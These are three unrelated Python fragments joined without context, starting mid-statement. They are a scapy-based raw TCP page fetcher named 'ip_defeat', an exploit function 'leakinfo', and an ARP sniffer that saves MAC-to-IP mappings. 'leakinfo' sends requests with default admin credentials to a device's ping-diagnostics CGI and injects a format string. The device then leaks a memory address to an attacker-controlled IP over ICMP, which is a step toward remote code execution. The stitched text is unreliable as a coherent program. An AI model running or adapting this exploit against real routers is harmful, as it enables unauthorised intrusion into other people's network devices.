an[0][TCP].seq + len(an[0])-54 # print(self._seq, self._ack) def data_trans(self): sendp(Ether(src=self._mac_s, dst=self._mac_r) / IP(src=self.ip_s, dst=self.ip_r) / TCP(sport=self._port_s, dport=self.port_r, flags="A", ack=self._ack, seq=self._seq, window=65535), inter=0.1, iface=self._nw_if, verbose=0) an = sniff(iface=self._nw_if, filter=self._filter_string, count=1, timeout=1) if an: if an[0][TCP].flags == 0x018 or an[0][TCP].flags == 0x010: self._ack = an[0][TCP].seq + len(an[0])-54 self._seq = an[0][TCP].ack self.data_trans() if an[0].ack > self._last_seq: self._last_ack = an[0][TCP].seq + len(an[0])-54 self._last_seq = an[0][TCP].ack else: if self._ack > self._last_ack: self._last_ack = self._ack self._last_seq = self._seq def four_tcp(self): self.res = self.so.stop() ans, un_an = srp(Ether(src=self._mac_s, dst=self._mac_r) / IP(src=self.ip_s, dst=self.ip_r) / TCP(sport=self._port_s, dport=self.port_r, flags="AF", ack=self._last_ack, seq=self._last_seq, window=65535), inter=0.1, iface=self._nw_if, verbose=0, retry=5) for s, value in ans: sendp(Ether(src=self._mac_s, dst=self._mac_r) / IP(src=self.ip_s, dst=self.ip_r) / TCP(sport=self._port_s, dport=self.port_r, flags="A", seq=value[TCP].ack, ack=value[TCP].seq + 1, window=65535), inter=0.1, iface=self._nw_if, verbose=0) def _ip_defeat(self, path: str): self.log() self.whole_tcp() self.http_request(path) self.data_trans() self.four_tcp() self.find_ans_packet(path) def find_ans_packet(self, path): i = -1 if path == '/': f = open(self.save_path+"/index.html", 'wb+') else: f = open(self.save_path + path, 'wb+') for val in self.res: """ if val.haslayer(TCP): print(val[TCP].seq) if val.haslayer(Raw): print(val[Raw].load) """ if val.haslayer(Raw): if i <= val[TCP].seq: f.write(val[Raw].load) i = val[TCP].seq+len(val[Raw].load) f.close() f = None if path == '/': f = open(self.save_path+"/index.html", 'r+') elif not path.endswith('.jpg') \ and not path.endswith('.png') \ and not path.endswith('.jpeg') \ and not path.endswith('gif'): f = open(self.save_path + path, 'r+') if f: s = f.read() res = re.findall(r'src=".*?"', s) f.close() ans = [] for i in res: ans.append(*re.findall(r'".*"', i)) for i in ans: visit_path = "/" + i.strip('\"') self._ip_defeat(visit_path) def log(self): self.so = AsyncSniffer(iface=self._nw_if, filter=self._filter_string) self.so.start() def ip_defeat(self): # path = urllib.parse.quote(path) new = threading.Thread(target=self._ip_defeat, args=(self.visit_path,)) new.start()
def leakinfo(host, port, rev_ip, interface): # Request that leaks pointer to the attacker via ICMP request = b'POST /cgi?2 HTTP/1.1\r\n' request += b'Host: ' + host.encode('utf-8') + b'\r\n' request += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\r\n' request += b'Accept: */*\r\n' request += b'Accept-Language: en-US,en;q=0.5\r\n' request += b'Accept-Encoding: gzip, deflate\r\n' request += b'Content-Type: text/plain\r\n' request += b'Content-Length: 180\r\n' request += b'Origin: http://' + host.encode('utf-8') + b'\r\n' request += b'Connection: close\r\n' request += b'Referer: http://' + host.encode( 'utf-8') + b'/mainFrame.htm\r\n' request += b'Cookie: Authorization=Basic YWRtaW46YWRtaW4=\r\n\r\n' request += b'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n' request += b'dataBlockSize=64\r\n' request += b'timeout=1\r\n' request += b'numberOfRepetitions=1\r\n' request += b'host=' + rev_ip.encode('utf-8') + b' -p %x1%x%x\r\n' request += b'X_TP_ConnName=ewan_ipoe_s\r\n' request += b'diagnosticsState=Requested\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) try: s.connect((host, port)) except: print('[-] Unable to connect') sys.exit(-1) print( '[+] Connected to remote host\n[*] Injecting Infoleak ping command\n') s.send(request) sleep(0.5) s.recv(2072) s.close() print('[*] Starting ICMP listener to receive leak\n') if 'null' in interface: sniffer = AsyncSniffer(filter='icmp and host ' + rev_ip, count=1) else: sniffer = AsyncSniffer(iface=interface, filter='icmp and host ' + rev_ip, count=1) sniffer.start() sleep(2) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.settimeout(2) print( '[*] Connecting to evaluate format string and transmit infoleak via ICMP request' ) try: s2.connect((host, port)) except: print('[-] Unable to connect') sys.exit(-1) # Request that executes the ping request = b'POST /cgi?7 HTTP/1.1\r\n' request += b'Host: ' + host.encode('utf-8') + b'\r\n' request += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0\r\n' request += b'Accept: */*\r\n' request += b'Accept-Language: en-US,en;q=0.5\r\n' request += b'Accept-Encoding: gzip, deflate\r\n' request += b'Content-Type: text/plain\r\n' request += b'Content-Length: 44\r\n' request += b'Origin: http://' + host.encode('utf-8') + b'\r\n' request += b'Connection: close\r\n' request += b'Referer: http://' + host.encode( 'utf-8') + b'/mainFrame.htm\r\n' request += b'Cookie: Authorization=Basic YWRtaW46YWRtaW4=\r\n\r\n' request += b'[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n' print('[*] Executing ping\n') s2.send(request) sniffer.join() leak = sniffer.results address = number(leak[0].lastlayer().load[9:13]) print('[+] Got ICMP Request; Infoleak: {}\n'.format(hex(address))) return address
if pkt[ARP].op == 2: whosHere[str(pkt[ARP].hwsrc)] = pkt[ARP].psrc if verbose: return f"*Response: {pkt[ARP].hwsrc} has address {pkt[ARP].psrc}" else: return None if verbose: return "Unknown op: {pkt[ARP].op}" else: return None print("ARP Sniffing...") snf = AsyncSniffer(prn=arp_display, filter="arp", store=0) snf.start() # time.sleep(10) def sniff_stop(): packets = snf.stop() print(packets.summary()) print(str(whosHere)) output() def output(): with open('whoshere.json', 'w') as f: json.dump(whosHere, f) print("Wrote to whoshere.json")